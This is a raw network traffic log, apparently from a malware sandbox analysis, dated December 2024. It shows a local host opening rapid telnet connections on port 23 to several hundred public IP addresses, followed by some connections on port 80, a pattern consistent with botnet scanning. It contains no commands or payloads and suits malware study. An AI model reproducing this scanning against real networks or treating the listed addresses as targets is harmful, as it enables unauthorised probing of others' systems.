Dec 3, 2024 22:16:52.553095102 CET	37963	23	192.168.2.23	18.228.192.174
Dec 3, 2024 22:16:52.553096056 CET	37963	23	192.168.2.23	165.39.19.62
Dec 3, 2024 22:16:52.553096056 CET	37963	23	192.168.2.23	147.72.154.124
Dec 3, 2024 22:16:52.553096056 CET	37963	23	192.168.2.23	110.186.175.241
Dec 3, 2024 22:16:52.553096056 CET	37963	23	192.168.2.23	84.125.145.100
Dec 3, 2024 22:16:52.553096056 CET	37963	23	192.168.2.23	59.238.200.113
Dec 3, 2024 22:16:52.553096056 CET	37963	23	192.168.2.23	8.72.51.136
Dec 3, 2024 22:16:52.553096056 CET	37963	23	192.168.2.23	115.77.111.203
Dec 3, 2024 22:16:52.553096056 CET	37963	23	192.168.2.23	82.149.127.213
Dec 3, 2024 22:16:52.553096056 CET	37963	23	192.168.2.23	197.148.179.45
Dec 3, 2024 22:16:52.553101063 CET	37963	23	192.168.2.23	132.205.19.6
Dec 3, 2024 22:16:52.553101063 CET	37963	23	192.168.2.23	219.250.154.148
Dec 3, 2024 22:16:52.553101063 CET	37963	23	192.168.2.23	196.74.162.0
Dec 3, 2024 22:16:52.553101063 CET	37963	23	192.168.2.23	123.43.217.202
Dec 3, 2024 22:16:52.553101063 CET	37963	23	192.168.2.23	204.95.44.76
Dec 3, 2024 22:16:52.553101063 CET	37963	23	192.168.2.23	133.134.239.141
Dec 3, 2024 22:16:52.553101063 CET	37963	23	192.168.2.23	85.128.242.36
Dec 3, 2024 22:16:52.553101063 CET	37963	23	192.168.2.23	61.136.216.211
Dec 3, 2024 22:16:52.553105116 CET	37963	23	192.168.2.23	63.113.222.210
Dec 3, 2024 22:16:52.553105116 CET	37963	23	192.168.2.23	20.130.182.206
Dec 3, 2024 22:16:52.553105116 CET	37963	23	192.168.2.23	156.248.224.200
Dec 3, 2024 22:16:52.553105116 CET	37963	23	192.168.2.23	113.62.17.160
Dec 3, 2024 22:16:52.553105116 CET	37963	23	192.168.2.23	52.225.77.58
Dec 3, 2024 22:16:52.553105116 CET	37963	23	192.168.2.23	92.4.143.101
Dec 3, 2024 22:16:52.553105116 CET	37963	23	192.168.2.23	41.168.179.55
Dec 3, 2024 22:16:52.553105116 CET	37963	23	192.168.2.23	23.116.195.39
Dec 3, 2024 22:16:52.553107977 CET	37963	23	192.168.2.23	211.161.28.245
Dec 3, 2024 22:16:52.553108931 CET	37963	23	192.168.2.23	162.174.246.12
Dec 3, 2024 22:16:52.553108931 CET	37963	23	192.168.2.23	188.235.86.229
Dec 3, 2024 22:16:52.553107977 CET	37963	23	192.168.2.23	58.82.12.241
Dec 3, 2024 22:16:52.553108931 CET	37963	23	192.168.2.23	68.144.167.70
Dec 3, 2024 22:16:52.553107977 CET	37963	23	192.168.2.23	60.196.97.43
Dec 3, 2024 22:16:52.553108931 CET	37963	23	192.168.2.23	189.102.204.52
Dec 3, 2024 22:16:52.553107977 CET	37963	23	192.168.2.23	1.87.194.41
Dec 3, 2024 22:16:52.553108931 CET	37963	23	192.168.2.23	144.100.24.136
Dec 3, 2024 22:16:52.553107977 CET	37963	23	192.168.2.23	63.235.208.124
Dec 3, 2024 22:16:52.553108931 CET	37963	23	192.168.2.23	62.5.200.164
Dec 3, 2024 22:16:52.553107977 CET	37963	23	192.168.2.23	68.221.243.246
Dec 3, 2024 22:16:52.553108931 CET	37963	23	192.168.2.23	77.88.18.89
Dec 3, 2024 22:16:52.553107977 CET	37963	23	192.168.2.23	95.11.26.133
Dec 3, 2024 22:16:52.553108931 CET	37963	23	192.168.2.23	137.80.221.73
Dec 3, 2024 22:16:52.553107977 CET	37963	23	192.168.2.23	183.16.231.163
Dec 3, 2024 22:16:52.553123951 CET	37963	23	192.168.2.23	153.54.213.55
Dec 3, 2024 22:16:52.553123951 CET	37963	23	192.168.2.23	52.144.202.248
Dec 3, 2024 22:16:52.553123951 CET	37963	23	192.168.2.23	134.215.115.49
Dec 3, 2024 22:16:52.553124905 CET	37963	23	192.168.2.23	128.140.149.196
Dec 3, 2024 22:16:52.553123951 CET	37963	23	192.168.2.23	2.231.226.67
Dec 3, 2024 22:16:52.553124905 CET	37963	23	192.168.2.23	133.206.45.13
Dec 3, 2024 22:16:52.553126097 CET	37963	23	192.168.2.23	123.105.248.0
Dec 3, 2024 22:16:52.553123951 CET	37963	23	192.168.2.23	79.65.163.48
Dec 3, 2024 22:16:52.553124905 CET	37963	23	192.168.2.23	130.135.69.249
Dec 3, 2024 22:16:52.553126097 CET	37963	23	192.168.2.23	73.56.33.93
Dec 3, 2024 22:16:52.553124905 CET	37963	23	192.168.2.23	130.249.217.249
Dec 3, 2024 22:16:52.553126097 CET	37963	23	192.168.2.23	112.17.14.71
Dec 3, 2024 22:16:52.553123951 CET	37963	23	192.168.2.23	86.250.168.180
Dec 3, 2024 22:16:52.553124905 CET	37963	23	192.168.2.23	208.45.30.16
Dec 3, 2024 22:16:52.553126097 CET	37963	23	192.168.2.23	45.141.224.230
Dec 3, 2024 22:16:52.553126097 CET	37963	23	192.168.2.23	144.80.204.31
Dec 3, 2024 22:16:52.553123951 CET	37963	23	192.168.2.23	90.47.35.135
Dec 3, 2024 22:16:52.553126097 CET	37963	23	192.168.2.23	186.37.43.197
Dec 3, 2024 22:16:52.553123951 CET	37963	23	192.168.2.23	165.100.133.49
Dec 3, 2024 22:16:52.553126097 CET	37963	23	192.168.2.23	110.50.39.35
Dec 3, 2024 22:16:52.553124905 CET	37963	23	192.168.2.23	117.233.69.38
Dec 3, 2024 22:16:52.553126097 CET	37963	23	192.168.2.23	123.22.3.248
Dec 3, 2024 22:16:52.553126097 CET	37963	23	192.168.2.23	32.211.167.240
Dec 3, 2024 22:16:52.553124905 CET	37963	23	192.168.2.23	162.47.109.180
Dec 3, 2024 22:16:52.553126097 CET	37963	23	192.168.2.23	212.140.248.24
Dec 3, 2024 22:16:52.553124905 CET	37963	23	192.168.2.23	91.8.24.129
Dec 3, 2024 22:16:52.553126097 CET	37963	23	192.168.2.23	222.131.247.197
Dec 3, 2024 22:16:52.553126097 CET	37963	23	192.168.2.23	114.134.226.165
Dec 3, 2024 22:16:52.553126097 CET	37963	23	192.168.2.23	222.33.4.206
Dec 3, 2024 22:16:52.553126097 CET	37963	23	192.168.2.23	165.138.110.224
Dec 3, 2024 22:16:52.553126097 CET	37963	23	192.168.2.23	158.205.236.17
Dec 3, 2024 22:16:52.553126097 CET	37963	23	192.168.2.23	188.147.102.119
Dec 3, 2024 22:16:52.553138971 CET	37963	23	192.168.2.23	97.76.231.198
Dec 3, 2024 22:16:52.553138971 CET	37963	23	192.168.2.23	12.147.227.125
Dec 3, 2024 22:16:52.553139925 CET	37963	23	192.168.2.23	57.178.114.185
Dec 3, 2024 22:16:52.553139925 CET	37963	23	192.168.2.23	123.127.115.210
Dec 3, 2024 22:16:52.553139925 CET	37963	23	192.168.2.23	73.219.161.167
Dec 3, 2024 22:16:52.553139925 CET	37963	23	192.168.2.23	135.20.32.26
Dec 3, 2024 22:16:52.553139925 CET	37963	23	192.168.2.23	51.27.226.40
Dec 3, 2024 22:16:52.553139925 CET	37963	23	192.168.2.23	102.41.181.140
Dec 3, 2024 22:16:52.553141117 CET	37963	23	192.168.2.23	149.137.147.69
Dec 3, 2024 22:16:52.553141117 CET	37963	23	192.168.2.23	80.152.3.78
Dec 3, 2024 22:16:52.553141117 CET	37963	23	192.168.2.23	70.36.123.164
Dec 3, 2024 22:16:52.553141117 CET	37963	23	192.168.2.23	8.7.117.255
Dec 3, 2024 22:16:52.553141117 CET	37963	23	192.168.2.23	119.245.150.166
Dec 3, 2024 22:16:52.553141117 CET	37963	23	192.168.2.23	60.75.44.215
Dec 3, 2024 22:16:52.553142071 CET	37963	23	192.168.2.23	93.12.134.170
Dec 3, 2024 22:16:52.553142071 CET	37963	23	192.168.2.23	201.203.225.154
Dec 3, 2024 22:16:52.553143024 CET	37963	23	192.168.2.23	132.119.32.144
Dec 3, 2024 22:16:52.553143024 CET	37963	23	192.168.2.23	217.9.123.106
Dec 3, 2024 22:16:52.553143024 CET	37963	23	192.168.2.23	69.255.63.191
Dec 3, 2024 22:16:52.553143024 CET	37963	23	192.168.2.23	161.93.192.123
Dec 3, 2024 22:16:52.553143024 CET	37963	23	192.168.2.23	36.152.80.20
Dec 3, 2024 22:16:52.553143024 CET	37963	23	192.168.2.23	1.28.7.200
Dec 3, 2024 22:16:52.553143024 CET	37963	23	192.168.2.23	219.61.199.143
Dec 3, 2024 22:16:52.553143024 CET	37963	23	192.168.2.23	111.112.26.40
Dec 3, 2024 22:16:52.553144932 CET	37963	23	192.168.2.23	187.78.150.23
Dec 3, 2024 22:16:52.553144932 CET	37963	23	192.168.2.23	170.242.213.12
Dec 3, 2024 22:16:52.553144932 CET	37963	23	192.168.2.23	52.129.252.1
Dec 3, 2024 22:16:52.553144932 CET	37963	23	192.168.2.23	54.146.191.106
Dec 3, 2024 22:16:52.553144932 CET	37963	23	192.168.2.23	36.108.213.32
Dec 3, 2024 22:16:52.553144932 CET	37963	23	192.168.2.23	205.165.146.24
Dec 3, 2024 22:16:52.553147078 CET	37963	23	192.168.2.23	38.47.8.244
Dec 3, 2024 22:16:52.553144932 CET	37963	23	192.168.2.23	176.82.215.112
Dec 3, 2024 22:16:52.553147078 CET	37963	23	192.168.2.23	93.143.11.156
Dec 3, 2024 22:16:52.553144932 CET	37963	23	192.168.2.23	217.160.68.37
Dec 3, 2024 22:16:52.553147078 CET	37963	23	192.168.2.23	112.215.106.227
Dec 3, 2024 22:16:52.553148985 CET	37963	23	192.168.2.23	17.161.97.74
Dec 3, 2024 22:16:52.553150892 CET	37963	23	192.168.2.23	200.224.35.41
Dec 3, 2024 22:16:52.553148985 CET	37963	23	192.168.2.23	126.77.229.71
Dec 3, 2024 22:16:52.553150892 CET	37963	23	192.168.2.23	90.247.223.126
Dec 3, 2024 22:16:52.553147078 CET	37963	23	192.168.2.23	68.200.213.51
Dec 3, 2024 22:16:52.553148985 CET	37963	23	192.168.2.23	186.209.25.254
Dec 3, 2024 22:16:52.553150892 CET	37963	23	192.168.2.23	123.139.180.161
Dec 3, 2024 22:16:52.553155899 CET	37963	23	192.168.2.23	97.251.139.186
Dec 3, 2024 22:16:52.553160906 CET	37963	23	192.168.2.23	99.19.203.104
Dec 3, 2024 22:16:52.553155899 CET	37963	23	192.168.2.23	62.53.34.122
Dec 3, 2024 22:16:52.553160906 CET	37963	23	192.168.2.23	131.167.84.187
Dec 3, 2024 22:16:52.553155899 CET	37963	23	192.168.2.23	71.113.78.173
Dec 3, 2024 22:16:52.553155899 CET	37963	23	192.168.2.23	167.39.53.203
Dec 3, 2024 22:16:52.553155899 CET	37963	23	192.168.2.23	187.149.166.61
Dec 3, 2024 22:16:52.553160906 CET	37963	23	192.168.2.23	143.245.10.193
Dec 3, 2024 22:16:52.553155899 CET	37963	23	192.168.2.23	219.98.73.40
Dec 3, 2024 22:16:52.553147078 CET	37963	23	192.168.2.23	97.109.11.146
Dec 3, 2024 22:16:52.553158998 CET	37963	23	192.168.2.23	51.20.116.153
Dec 3, 2024 22:16:52.553155899 CET	37963	23	192.168.2.23	185.201.56.153
Dec 3, 2024 22:16:52.553158998 CET	37963	23	192.168.2.23	107.235.71.215
Dec 3, 2024 22:16:52.553147078 CET	37963	23	192.168.2.23	213.9.218.27
Dec 3, 2024 22:16:52.553155899 CET	37963	23	192.168.2.23	86.61.36.162
Dec 3, 2024 22:16:52.553155899 CET	37963	23	192.168.2.23	208.22.62.225
Dec 3, 2024 22:16:52.553160906 CET	37963	23	192.168.2.23	184.76.63.90
Dec 3, 2024 22:16:52.553158998 CET	37963	23	192.168.2.23	24.162.5.120
Dec 3, 2024 22:16:52.553167105 CET	37963	23	192.168.2.23	90.203.134.122
Dec 3, 2024 22:16:52.553155899 CET	37963	23	192.168.2.23	89.223.69.76
Dec 3, 2024 22:16:52.553147078 CET	37963	23	192.168.2.23	200.201.15.65
Dec 3, 2024 22:16:52.553155899 CET	37963	23	192.168.2.23	158.96.142.2
Dec 3, 2024 22:16:52.553150892 CET	37963	23	192.168.2.23	189.123.136.185
Dec 3, 2024 22:16:52.553158998 CET	37963	23	192.168.2.23	85.207.35.8
Dec 3, 2024 22:16:52.553155899 CET	37963	23	192.168.2.23	132.84.24.46
Dec 3, 2024 22:16:52.553155899 CET	37963	23	192.168.2.23	125.85.151.181
Dec 3, 2024 22:16:52.553181887 CET	37963	23	192.168.2.23	75.213.52.197
Dec 3, 2024 22:16:52.553150892 CET	37963	23	192.168.2.23	128.161.178.1
Dec 3, 2024 22:16:52.553160906 CET	37963	23	192.168.2.23	181.237.246.191
Dec 3, 2024 22:16:52.553155899 CET	37963	23	192.168.2.23	172.98.29.174
Dec 3, 2024 22:16:52.553160906 CET	37963	23	192.168.2.23	170.5.178.144
Dec 3, 2024 22:16:52.553147078 CET	37963	23	192.168.2.23	217.167.92.223
Dec 3, 2024 22:16:52.553159952 CET	37963	23	192.168.2.23	198.249.112.28
Dec 3, 2024 22:16:52.553168058 CET	37963	23	192.168.2.23	126.109.207.44
Dec 3, 2024 22:16:52.553195000 CET	37963	23	192.168.2.23	46.238.185.188
Dec 3, 2024 22:16:52.553159952 CET	37963	23	192.168.2.23	108.2.189.179
Dec 3, 2024 22:16:52.553195000 CET	37963	23	192.168.2.23	37.26.112.117
Dec 3, 2024 22:16:52.553199053 CET	37963	23	192.168.2.23	76.168.134.241
Dec 3, 2024 22:16:52.553155899 CET	37963	23	192.168.2.23	53.146.200.78
Dec 3, 2024 22:16:52.553150892 CET	37963	23	192.168.2.23	4.184.157.225
Dec 3, 2024 22:16:52.553195000 CET	37963	23	192.168.2.23	43.253.15.90
Dec 3, 2024 22:16:52.553168058 CET	37963	23	192.168.2.23	219.229.90.22
Dec 3, 2024 22:16:52.553195000 CET	37963	23	192.168.2.23	157.227.211.168
Dec 3, 2024 22:16:52.553160906 CET	37963	23	192.168.2.23	63.97.30.57
Dec 3, 2024 22:16:52.553199053 CET	37963	23	192.168.2.23	211.56.158.153
Dec 3, 2024 22:16:52.553160906 CET	37963	23	192.168.2.23	69.67.220.57
Dec 3, 2024 22:16:52.553195000 CET	37963	23	192.168.2.23	12.28.117.52
Dec 3, 2024 22:16:52.553155899 CET	37963	23	192.168.2.23	121.180.70.222
Dec 3, 2024 22:16:52.553159952 CET	37963	23	192.168.2.23	2.165.2.178
Dec 3, 2024 22:16:52.553168058 CET	37963	23	192.168.2.23	157.174.111.121
Dec 3, 2024 22:16:52.553199053 CET	37963	23	192.168.2.23	223.251.167.179
Dec 3, 2024 22:16:52.553168058 CET	37963	23	192.168.2.23	216.228.103.233
Dec 3, 2024 22:16:52.553199053 CET	37963	23	192.168.2.23	4.159.56.226
Dec 3, 2024 22:16:52.553159952 CET	37963	23	192.168.2.23	189.166.21.209
Dec 3, 2024 22:16:52.553168058 CET	37963	23	192.168.2.23	149.68.26.74
Dec 3, 2024 22:16:52.553214073 CET	37963	23	192.168.2.23	117.230.90.224
Dec 3, 2024 22:16:52.553199053 CET	37963	23	192.168.2.23	13.126.184.205
Dec 3, 2024 22:16:52.553214073 CET	37963	23	192.168.2.23	100.220.206.184
Dec 3, 2024 22:16:52.553199053 CET	37963	23	192.168.2.23	117.20.82.250
Dec 3, 2024 22:16:52.553168058 CET	37963	23	192.168.2.23	202.141.250.196
Dec 3, 2024 22:16:52.553217888 CET	37963	23	192.168.2.23	17.77.113.208
Dec 3, 2024 22:16:52.553168058 CET	37963	23	192.168.2.23	165.153.41.96
Dec 3, 2024 22:16:52.553217888 CET	37963	23	192.168.2.23	195.254.199.130
Dec 3, 2024 22:16:52.553214073 CET	37963	23	192.168.2.23	129.198.66.119
Dec 3, 2024 22:16:52.553199053 CET	37963	23	192.168.2.23	143.208.150.243
Dec 3, 2024 22:16:52.553217888 CET	37963	23	192.168.2.23	208.216.79.198
Dec 3, 2024 22:16:52.553168058 CET	37963	23	192.168.2.23	18.94.153.51
Dec 3, 2024 22:16:52.553217888 CET	37963	23	192.168.2.23	184.144.204.12
Dec 3, 2024 22:16:52.553220034 CET	37963	23	192.168.2.23	212.82.192.29
Dec 3, 2024 22:16:52.553220034 CET	37963	23	192.168.2.23	192.248.104.68
Dec 3, 2024 22:16:52.553220034 CET	37963	23	192.168.2.23	156.209.203.9
Dec 3, 2024 22:16:52.553217888 CET	37963	23	192.168.2.23	194.127.217.133
Dec 3, 2024 22:16:52.553220034 CET	37963	23	192.168.2.23	204.9.62.211
Dec 3, 2024 22:16:52.553225994 CET	37963	23	192.168.2.23	4.119.116.70
Dec 3, 2024 22:16:52.553220034 CET	37963	23	192.168.2.23	148.119.100.160
Dec 3, 2024 22:16:52.553199053 CET	37963	23	192.168.2.23	9.161.218.167
Dec 3, 2024 22:16:52.553220034 CET	37963	23	192.168.2.23	88.206.209.218
Dec 3, 2024 22:16:52.553217888 CET	37963	23	192.168.2.23	76.139.221.4
Dec 3, 2024 22:16:52.553220034 CET	37963	23	192.168.2.23	105.11.190.254
Dec 3, 2024 22:16:52.553225994 CET	37963	23	192.168.2.23	47.148.71.154
Dec 3, 2024 22:16:52.553220034 CET	37963	23	192.168.2.23	192.138.197.186
Dec 3, 2024 22:16:52.553225994 CET	37963	23	192.168.2.23	53.206.184.173
Dec 3, 2024 22:16:52.553220034 CET	37963	23	192.168.2.23	179.119.85.248
Dec 3, 2024 22:16:52.553225994 CET	37963	23	192.168.2.23	73.19.78.103
Dec 3, 2024 22:16:52.553225994 CET	37963	23	192.168.2.23	177.48.234.224
Dec 3, 2024 22:16:52.553225994 CET	37963	23	192.168.2.23	86.106.201.111
Dec 3, 2024 22:16:52.553225994 CET	37963	23	192.168.2.23	89.254.30.168
Dec 3, 2024 22:16:52.553225994 CET	37963	23	192.168.2.23	102.77.120.140
Dec 3, 2024 22:16:52.553235054 CET	37963	23	192.168.2.23	165.255.238.233
Dec 3, 2024 22:16:52.553236961 CET	37963	23	192.168.2.23	199.33.211.174
Dec 3, 2024 22:16:52.553240061 CET	37963	23	192.168.2.23	173.109.228.35
Dec 3, 2024 22:16:52.553240061 CET	37963	23	192.168.2.23	37.226.179.168
Dec 3, 2024 22:16:52.553240061 CET	37963	23	192.168.2.23	130.178.119.51
Dec 3, 2024 22:16:52.553240061 CET	37963	23	192.168.2.23	143.140.251.82
Dec 3, 2024 22:16:52.553241014 CET	37963	23	192.168.2.23	138.115.14.147
Dec 3, 2024 22:16:52.553241014 CET	37963	23	192.168.2.23	104.177.46.59
Dec 3, 2024 22:16:52.553241014 CET	37963	23	192.168.2.23	32.166.127.247
Dec 3, 2024 22:16:52.553241968 CET	37963	23	192.168.2.23	85.79.130.152
Dec 3, 2024 22:16:52.553241014 CET	37963	23	192.168.2.23	121.148.181.147
Dec 3, 2024 22:16:52.553242922 CET	37963	23	192.168.2.23	133.240.204.207
Dec 3, 2024 22:16:52.553241014 CET	37963	23	192.168.2.23	105.28.1.101
Dec 3, 2024 22:16:52.553241968 CET	37963	23	192.168.2.23	105.75.78.128
Dec 3, 2024 22:16:52.553242922 CET	37963	23	192.168.2.23	176.170.47.235
Dec 3, 2024 22:16:52.553241968 CET	37963	23	192.168.2.23	116.240.105.141
Dec 3, 2024 22:16:52.553241968 CET	37963	23	192.168.2.23	118.153.64.82
Dec 3, 2024 22:16:52.553246021 CET	37963	23	192.168.2.23	169.105.194.1
Dec 3, 2024 22:16:52.553241968 CET	37963	23	192.168.2.23	120.55.193.211
Dec 3, 2024 22:16:52.553250074 CET	37963	23	192.168.2.23	109.128.247.178
Dec 3, 2024 22:16:52.553251028 CET	37963	23	192.168.2.23	199.153.137.194
Dec 3, 2024 22:16:52.553250074 CET	37963	23	192.168.2.23	67.18.104.167
Dec 3, 2024 22:16:52.553252935 CET	37963	23	192.168.2.23	99.216.75.196
Dec 3, 2024 22:16:52.553251028 CET	37963	23	192.168.2.23	95.201.69.76
Dec 3, 2024 22:16:52.553242922 CET	37963	23	192.168.2.23	61.56.99.56
Dec 3, 2024 22:16:52.553246021 CET	37963	23	192.168.2.23	78.158.165.19
Dec 3, 2024 22:16:52.553251028 CET	37963	23	192.168.2.23	27.6.12.25
Dec 3, 2024 22:16:52.553250074 CET	37963	23	192.168.2.23	49.182.235.86
Dec 3, 2024 22:16:52.553241968 CET	37963	23	192.168.2.23	54.9.213.134
Dec 3, 2024 22:16:52.553251028 CET	37963	23	192.168.2.23	175.234.198.77
Dec 3, 2024 22:16:52.553242922 CET	37963	23	192.168.2.23	213.87.131.171
Dec 3, 2024 22:16:52.553241968 CET	37963	23	192.168.2.23	77.79.201.130
Dec 3, 2024 22:16:52.553250074 CET	37963	23	192.168.2.23	18.230.67.71
Dec 3, 2024 22:16:52.553246021 CET	37963	23	192.168.2.23	193.19.108.86
Dec 3, 2024 22:16:52.553251028 CET	37963	23	192.168.2.23	151.242.20.23
Dec 3, 2024 22:16:52.553242922 CET	37963	23	192.168.2.23	159.83.251.126
Dec 3, 2024 22:16:52.553251028 CET	37963	23	192.168.2.23	220.202.129.112
Dec 3, 2024 22:16:52.553242922 CET	37963	23	192.168.2.23	141.228.135.40
Dec 3, 2024 22:16:52.553261042 CET	37963	23	192.168.2.23	60.240.180.12
Dec 3, 2024 22:16:52.553242922 CET	37963	23	192.168.2.23	80.205.186.127
Dec 3, 2024 22:16:52.553256035 CET	37963	23	192.168.2.23	183.97.115.213
Dec 3, 2024 22:16:52.553251028 CET	37963	23	192.168.2.23	1.82.116.245
Dec 3, 2024 22:16:52.553246021 CET	37963	23	192.168.2.23	100.185.86.107
Dec 3, 2024 22:16:52.553256989 CET	37963	23	192.168.2.23	108.20.169.4
Dec 3, 2024 22:16:52.553246021 CET	37963	23	192.168.2.23	81.151.43.162
Dec 3, 2024 22:16:52.553242922 CET	37963	23	192.168.2.23	66.174.138.26
Dec 3, 2024 22:16:52.553246021 CET	37963	23	192.168.2.23	74.87.48.225
Dec 3, 2024 22:16:52.553256989 CET	37963	23	192.168.2.23	50.184.176.47
Dec 3, 2024 22:16:52.553251028 CET	37963	23	192.168.2.23	119.149.185.164
Dec 3, 2024 22:16:52.553246021 CET	37963	23	192.168.2.23	136.68.110.107
Dec 3, 2024 22:16:52.553241968 CET	37963	23	192.168.2.23	184.250.19.140
Dec 3, 2024 22:16:52.553246021 CET	37963	23	192.168.2.23	70.102.29.10
Dec 3, 2024 22:16:52.553241968 CET	37963	23	192.168.2.23	191.23.176.167
Dec 3, 2024 22:16:52.553241968 CET	37963	23	192.168.2.23	157.162.158.203
Dec 3, 2024 22:16:52.553282022 CET	37963	23	192.168.2.23	59.18.154.84
Dec 3, 2024 22:16:52.553282022 CET	37963	23	192.168.2.23	46.190.33.56
Dec 3, 2024 22:16:52.553282022 CET	37963	23	192.168.2.23	37.176.2.145
Dec 3, 2024 22:16:52.553282022 CET	37963	23	192.168.2.23	175.77.152.24
Dec 3, 2024 22:16:52.553282022 CET	37963	23	192.168.2.23	125.166.97.125
Dec 3, 2024 22:16:52.553282022 CET	37963	23	192.168.2.23	172.74.188.183
Dec 3, 2024 22:16:52.553282022 CET	37963	23	192.168.2.23	2.215.119.6
Dec 3, 2024 22:16:52.553282022 CET	37963	23	192.168.2.23	103.59.176.42
Dec 3, 2024 22:16:52.553284883 CET	37963	23	192.168.2.23	166.211.9.140
Dec 3, 2024 22:16:52.553284883 CET	37963	23	192.168.2.23	154.91.77.155
Dec 3, 2024 22:16:52.553284883 CET	37963	23	192.168.2.23	181.129.171.214
Dec 3, 2024 22:16:52.553284883 CET	37963	23	192.168.2.23	223.41.105.64
Dec 3, 2024 22:16:52.553284883 CET	37963	23	192.168.2.23	195.234.121.177
Dec 3, 2024 22:16:52.553284883 CET	37963	23	192.168.2.23	100.206.149.11
Dec 3, 2024 22:16:52.553284883 CET	37963	23	192.168.2.23	155.153.47.226
Dec 3, 2024 22:16:52.553284883 CET	37963	23	192.168.2.23	77.199.61.182
Dec 3, 2024 22:16:52.553284883 CET	37963	23	192.168.2.23	99.124.138.178
Dec 3, 2024 22:16:52.553292036 CET	37963	23	192.168.2.23	131.14.238.188
Dec 3, 2024 22:16:52.553292990 CET	37963	23	192.168.2.23	44.133.113.186
Dec 3, 2024 22:16:52.553292036 CET	37963	23	192.168.2.23	222.21.73.125
Dec 3, 2024 22:16:52.553292990 CET	37963	23	192.168.2.23	175.99.42.143
Dec 3, 2024 22:16:52.553292036 CET	37963	23	192.168.2.23	169.74.52.87
Dec 3, 2024 22:16:52.553292990 CET	37963	23	192.168.2.23	78.232.29.189
Dec 3, 2024 22:16:52.553292990 CET	37963	23	192.168.2.23	73.45.201.53
Dec 3, 2024 22:16:52.553292990 CET	37963	23	192.168.2.23	191.3.91.243
Dec 3, 2024 22:16:52.553292990 CET	37963	23	192.168.2.23	141.125.203.180
Dec 3, 2024 22:16:52.553292990 CET	37963	23	192.168.2.23	198.118.21.133
Dec 3, 2024 22:16:52.553292990 CET	37963	23	192.168.2.23	14.5.232.23
Dec 3, 2024 22:16:52.553294897 CET	37963	23	192.168.2.23	54.154.235.58
Dec 3, 2024 22:16:52.553292990 CET	37963	23	192.168.2.23	217.212.62.216
Dec 3, 2024 22:16:52.553294897 CET	37963	23	192.168.2.23	4.145.54.94
Dec 3, 2024 22:16:52.553292990 CET	37963	23	192.168.2.23	210.203.81.115
Dec 3, 2024 22:16:52.553294897 CET	37963	23	192.168.2.23	40.31.113.248
Dec 3, 2024 22:16:52.553292990 CET	37963	23	192.168.2.23	200.48.176.38
Dec 3, 2024 22:16:52.553292990 CET	37963	23	192.168.2.23	155.29.211.165
Dec 3, 2024 22:16:52.553296089 CET	37963	23	192.168.2.23	223.182.78.149
Dec 3, 2024 22:16:52.553292990 CET	37963	23	192.168.2.23	60.121.198.120
Dec 3, 2024 22:16:52.553296089 CET	37963	23	192.168.2.23	94.255.70.130
Dec 3, 2024 22:16:52.553296089 CET	37963	23	192.168.2.23	85.226.253.4
Dec 3, 2024 22:16:52.553296089 CET	37963	23	192.168.2.23	161.143.185.37
Dec 3, 2024 22:16:52.553296089 CET	37963	23	192.168.2.23	104.60.102.158
Dec 3, 2024 22:16:52.553313017 CET	37963	23	192.168.2.23	189.107.162.219
Dec 3, 2024 22:16:52.553313017 CET	37963	23	192.168.2.23	40.228.219.234
Dec 3, 2024 22:16:52.553313017 CET	37963	23	192.168.2.23	88.194.242.117
Dec 3, 2024 22:16:52.553318977 CET	37963	23	192.168.2.23	179.79.118.198
Dec 3, 2024 22:16:52.553318977 CET	37963	23	192.168.2.23	61.208.244.168
Dec 3, 2024 22:16:52.553318977 CET	37963	23	192.168.2.23	83.88.142.17
Dec 3, 2024 22:16:52.553318977 CET	37963	23	192.168.2.23	25.31.222.22
Dec 3, 2024 22:16:52.553318977 CET	37963	23	192.168.2.23	168.74.88.210
Dec 3, 2024 22:16:52.553318977 CET	37963	23	192.168.2.23	31.158.157.108
Dec 3, 2024 22:16:52.553318977 CET	37963	23	192.168.2.23	197.90.135.16
Dec 3, 2024 22:16:52.553318977 CET	37963	23	192.168.2.23	77.73.167.75
Dec 3, 2024 22:16:52.553332090 CET	37963	23	192.168.2.23	105.221.16.179
Dec 3, 2024 22:16:52.553332090 CET	37963	23	192.168.2.23	82.2.70.100
Dec 3, 2024 22:16:52.553332090 CET	37963	23	192.168.2.23	60.37.252.238
Dec 3, 2024 22:16:52.553332090 CET	37963	23	192.168.2.23	140.79.10.90
Dec 3, 2024 22:16:52.553332090 CET	37963	23	192.168.2.23	208.239.214.45
Dec 3, 2024 22:16:52.553332090 CET	37963	23	192.168.2.23	195.255.127.124
Dec 3, 2024 22:16:52.553332090 CET	37963	23	192.168.2.23	172.198.73.185
Dec 3, 2024 22:16:52.553332090 CET	37963	23	192.168.2.23	200.159.71.193
Dec 3, 2024 22:16:52.553343058 CET	37963	23	192.168.2.23	219.64.197.170
Dec 3, 2024 22:16:52.553343058 CET	37963	23	192.168.2.23	27.76.189.243
Dec 3, 2024 22:16:52.553343058 CET	37963	23	192.168.2.23	144.131.208.174
Dec 3, 2024 22:16:52.563499928 CET	35252	80	192.168.2.23	210.36.162.136
Dec 3, 2024 22:16:52.563502073 CET	42516	80	192.168.2.23	109.202.202.202
Dec 3, 2024 22:16:52.563504934 CET	37684	80	192.168.2.23	1.252.247.68
Dec 3, 2024 22:16:52.563507080 CET	34996	80	192.168.2.23	64.69.46.207
Dec 3, 2024 22:16:52.563507080 CET	60704	80	192.168.2.23	99.212.18.166
Dec 3, 2024 22:16:52.563519001 CET	45362	80	192.168.2.23	23.93.194.133
Dec 3, 2024 22:16:52.563519955 CET	54708	80	192.168.2.23	221.128.53.64
Dec 3, 2024 22:16:52.563524961 CET	33106	80	192.168.2.23	157.8.141.192
Dec 3, 2024 22:16:52.563524961 CET	34026	80	192.168.2.23	125.111.75.105
Dec 3, 2024 22:16:52.563530922 CET	55018	80	192.168.2.23	111.211.175.160
Dec 3, 2024 22:16:52.563536882 CET	45572	80	192.168.2.23	157.200.164.96
Dec 3, 2024 22:16:52.563543081 CET	50426	80	192.168.2.23	110.174.211.110
Dec 3, 2024 22:16:52.595588923 CET	52256	80	192.168.2.23	110.23.29.220
Dec 3, 2024 22:16:52.595588923 CET	49576	80	192.168.2.23	107.229.45.191
Dec 3, 2024 22:16:52.595588923 CET	52704	80	192.168.2.23	182.205.184.220
Dec 3, 2024 22:16:52.595591068 CET	48552	80	192.168.2.23	54.6.47.124
Dec 3, 2024 22:16:52.595591068 CET	56864	80	192.168.2.23	145.20.17.13
Dec 3, 2024 22:16:52.595591068 CET	33132	80	192.168.2.23	32.60.240.155
Dec 3, 2024 22:16:52.595591068 CET	40118	80	192.168.2.23	149.70.197.245
